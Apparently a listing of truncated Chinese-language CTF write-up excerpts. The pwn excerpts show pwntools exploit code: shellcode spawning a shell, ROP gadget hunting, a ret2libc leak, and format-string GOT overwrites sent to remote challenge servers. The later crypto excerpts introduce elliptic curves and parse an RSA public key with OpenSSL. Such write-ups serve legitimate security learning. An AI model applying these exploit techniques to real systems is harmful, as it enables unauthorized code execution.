from pwn import * context(os='linux', arch='amd64', log_level='debug') shellcode = asm(shellcraft.sh()) io = process('./shellcode') gdb.attach(io, 'b *0x4012b7') name_addr = 0x4040a0 payload = shellcode + 'a'*(0x40-len(shellcode)) + p64(0x4040a0) io.recvline()…
这段代码中while有一个无法退出的循环，不能通过ROP获取flag，只能在代码中执行open函数。 我们希望构造这样的代码来拿到flag： int fd = open("flag", READONLY); read(fd, buf, 100); print(buf); 在程序中寻找可以利用的修改rax、rdi、rsi、rdx的语句(64位程序通过寄存器传参，rax用于系统调用)： 具体能利用的地方在： 0x4008a1 : pop rsi ; pop r15 ; ret 0x4008a3 : pop rdi ; …
ROP，需要通过puts函数泄露read函数地址，ROP时用puts函数的地址覆盖返回地址，用read函数的GOT表地址作为puts的参数传入。但是64位程序的函数传参是通过寄存器+堆栈的方式，因此无法直接通过栈溢出写入参数。解决方法是：在程序中寻找一处pop %rdi的指令，将数据写入rdi寄存器。 在程序中寻找pop %rdi需要一个叫ROPgadget的工具。 Linux指令： ROPgadget --binary pwn | grep "pop rdi" 查到在程序的0x400763地址处存在一个pop r…
代码如下： from pwn import * context(arch='amd64', os='linux') elf = ELF("./pwn") io = remote("111.200.241.244", 56315) catflag_addr = 0x4008DA puts_got = elf.got['puts'] payload = fmtstr_payload(6, {puts_got: catflag_addr}) io.recvuntil("3. Exit the battle") io.se…
动态链接时，一个程序PLT表中的内容始终不变，仅在程序加载时修改GOT表中的内容。PLT表中的每个表项指向对应函数在GOT表中的地址(偏移)，每次加载程序都相同。程序加载后GOT表中的每个表项保存的是函数在共享区的绝对地址，每次加载都不相同。 代码如下： from pwn import * io = remote("111.200.241.244", 49167) elf = ELF("./level3") libc = ELF("./libc_32.so.6") write_plt = elf.plt['writ…
输入字符串s，然后printf(&s)。 好用的函数是pwntools中的fmtstr_payload函数。 代码如下： from pwn import * context(log_level='info', arch='i386', os='linux') io = remote('111.200.241.244', 57374) elf = ELF('pwn') pwnme_addr = 0x0804A068 io.recvline() io.sendline('y') io.recvline() # …
1.椭圆曲线的定义 满足以下形式二元三次方程的点集 y^2+axy+by=x^3+cx^2+dx+e (其中a,b,c,d是实数) 称为椭圆曲线。 ECC中最常用的椭圆曲线方程是： y^2=x^3+ax+b(a,b \in GF(p), 4a^3+27b^2 \ne 0) 以下是两个椭圆曲线的例子。 2.有限域上的椭圆曲线 密码学专注于离散的数学，而上面介绍的椭圆曲线是连续的。我们想把椭圆曲线及其加法应用于密码学，需要在整数集上讨论椭圆曲线 的点集。 设E_p(a, b)表示椭圆曲线y^2=x^3+ax+b上的点集…
命令: OpenSSL> rsa -in pubkey.pem -text -pubin 即模数(n)：00:c2:63:6a:e5:c3:d8:e4:3f:fb:97:ab:09:02:8f:1a:ac:6c:0b:f6:cd:3d:70:eb:ca:28:1b:ff:e9:7f:be:30:dd 质数(e): 65537 将n转换成十进制： s = '00:c2:63:6a:e5:c3:d8:e4:3f:fb:97:ab:09:02:8f:1a:ac:6c:0b:f6:cd:3d:70:eb:ca:28:1b:…
